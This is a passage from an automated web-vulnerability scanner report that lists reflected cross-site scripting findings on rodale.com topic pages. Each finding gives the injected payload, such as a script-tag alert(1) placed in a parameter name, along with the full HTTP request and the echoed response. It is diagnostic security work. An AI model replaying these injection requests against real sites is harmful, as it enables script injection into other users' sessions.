<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/first-aid?b060b"><script>alert(1)</script>0102f0a7bfe=1" title="Register" class="moreLink">
...[SNIP]...

2.497. http://www.rodale.com/topic/fish-and-seafood [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fish-and-seafood

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9f2c"><a>d07550cef67 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicb9f2c"><a>d07550cef67/fish-and-seafood HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:19 GMT
Date: Thu, 10 Mar 2011 17:12:19 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicb9f2c"><a>d07550cef67 topicb9f2c">
...[SNIP]...

2.498. http://www.rodale.com/topic/fish-and-seafood [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fish-and-seafood

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 826a4"><a>214e06108f8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fish-and-seafood826a4"><a>214e06108f8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:52 GMT
Date: Thu, 10 Mar 2011 17:12:52 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fish-and-seafood826a4"><a>214e06108f8 node node-958">
...[SNIP]...

2.499. http://www.rodale.com/topic/fish-and-seafood [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fish-and-seafood

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ad6e"><script>alert(1)</script>821fdd60d2e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fish-and-seafood?2ad6e"><script>alert(1)</script>821fdd60d2e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:17 GMT
Date: Thu, 10 Mar 2011 17:12:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32989

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fish-and-seafood?2ad6e"><script>alert(1)</script>821fdd60d2e=1" title="Register" class="moreLink">
...[SNIP]...

2.500. http://www.rodale.com/topic/fish-oil [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fish-oil

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5455b"><a>63df09adc35 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic5455b"><a>63df09adc35/fish-oil HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:22 GMT
Date: Thu, 10 Mar 2011 17:12:22 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic5455b"><a>63df09adc35 topic5455b">
...[SNIP]...

2.501. http://www.rodale.com/topic/fish-oil [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fish-oil

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66d5e"><a>b721e9e9791 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fish-oil66d5e"><a>b721e9e9791 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:57 GMT
Date: Thu, 10 Mar 2011 17:12:57 GMT
Content-Length: 22474
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fish-oil66d5e"><a>b721e9e9791 node node-958">
...[SNIP]...

2.502. http://www.rodale.com/topic/fish-oil [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fish-oil

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f39ed"><script>alert(1)</script>d4cbd20c834 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fish-oil?f39ed"><script>alert(1)</script>d4cbd20c834=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:19 GMT
Date: Thu, 10 Mar 2011 17:12:20 GMT
Content-Length: 30399
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fish-oil?f39ed"><script>alert(1)</script>d4cbd20c834=1" title="Register" class="moreLink">
...[SNIP]...

2.503. http://www.rodale.com/topic/fitness-trends [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fitness-trends

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47429"><a>f148fc06f74 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic47429"><a>f148fc06f74/fitness-trends HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:22 GMT
Date: Thu, 10 Mar 2011 17:12:22 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic47429"><a>f148fc06f74 topic47429">
...[SNIP]...

2.504. http://www.rodale.com/topic/fitness-trends [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fitness-trends

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18d0a"><a>b828966bba4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fitness-trends18d0a"><a>b828966bba4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:54 GMT
Date: Thu, 10 Mar 2011 17:12:55 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fitness-trends18d0a"><a>b828966bba4 node node-958">
...[SNIP]...

2.505. http://www.rodale.com/topic/fitness-trends [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fitness-trends

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8a16"><script>alert(1)</script>c5d680c4207 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fitness-trends?f8a16"><script>alert(1)</script>c5d680c4207=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:19 GMT
Date: Thu, 10 Mar 2011 17:12:20 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32822

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fitness-trends?f8a16"><script>alert(1)</script>c5d680c4207=1" title="Register" class="moreLink">
...[SNIP]...

2.506. http://www.rodale.com/topic/flax [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/flax

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cfce"><a>e9f8a50e53a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic3cfce"><a>e9f8a50e53a/flax HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:22 GMT
Date: Thu, 10 Mar 2011 17:12:22 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic3cfce"><a>e9f8a50e53a topic3cfce">
...[SNIP]...

2.507. http://www.rodale.com/topic/flax [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/flax

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5edb7"><a>d193ecebd5b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/flax5edb7"><a>d193ecebd5b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:55 GMT
Date: Thu, 10 Mar 2011 17:12:55 GMT
Content-Length: 22462
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-flax5edb7"><a>d193ecebd5b node node-958">
...[SNIP]...

2.508. http://www.rodale.com/topic/flax [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/flax

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2626"><script>alert(1)</script>0099b222f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/flax?b2626"><script>alert(1)</script>0099b222f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:19 GMT
Date: Thu, 10 Mar 2011 17:12:20 GMT
Content-Length: 29292
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/flax?b2626"><script>alert(1)</script>0099b222f=1" title="Register" class="moreLink">
...[SNIP]...

2.509. http://www.rodale.com/topic/flowers-and-houseplants [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/flowers-and-houseplants

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83f6b"><a>5f9ba65b571 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic83f6b"><a>5f9ba65b571/flowers-and-houseplants HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:42:22 GMT
Date: Thu, 10 Mar 2011 17:12:23 GMT
Content-Length: 22540
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic83f6b"><a>5f9ba65b571 topic83f6b">
...[SNIP]...

2.510. http://www.rodale.com/topic/flowers-and-houseplants [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/flowers-and-houseplants

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98485"><a>8d9d2809180 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/flowers-and-houseplants98485"><a>8d9d2809180 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:57 GMT
Date: Thu, 10 Mar 2011 17:12:57 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-flowers-and-houseplants98485"><a>8d9d2809180 node node-958">
...[SNIP]...

2.511. http://www.rodale.com/topic/flowers-and-houseplants [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/flowers-and-houseplants

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97282"><script>alert(1)</script>5a516ed889d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/flowers-and-houseplants?97282"><script>alert(1)</script>5a516ed889d=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:20 GMT
Date: Thu, 10 Mar 2011 17:12:20 GMT
Content-Length: 31861
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/flowers-and-houseplants?97282"><script>alert(1)</script>5a516ed889d=1" title="Register" class="moreLink">
...[SNIP]...

2.512. http://www.rodale.com/topic/food-allergies [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-allergies

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6611"><a>06b42826e6a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd6611"><a>06b42826e6a/food-allergies HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:24 GMT
Date: Thu, 10 Mar 2011 17:12:24 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd6611"><a>06b42826e6a topicd6611">
...[SNIP]...

2.513. http://www.rodale.com/topic/food-allergies [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/food-allergies

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12165"><a>5d8bd4fd3d8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/food-allergies12165"><a>5d8bd4fd3d8 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:56 GMT
Date: Thu, 10 Mar 2011 17:12:56 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-food-allergies12165"><a>5d8bd4fd3d8 node node-958">
...[SNIP]...

2.514. http://www.rodale.com/topic/food-allergies [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/food-allergies

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf1a9"><script>alert(1)</script>a8f0009c9c5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/food-allergies?bf1a9"><script>alert(1)</script>a8f0009c9c5=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
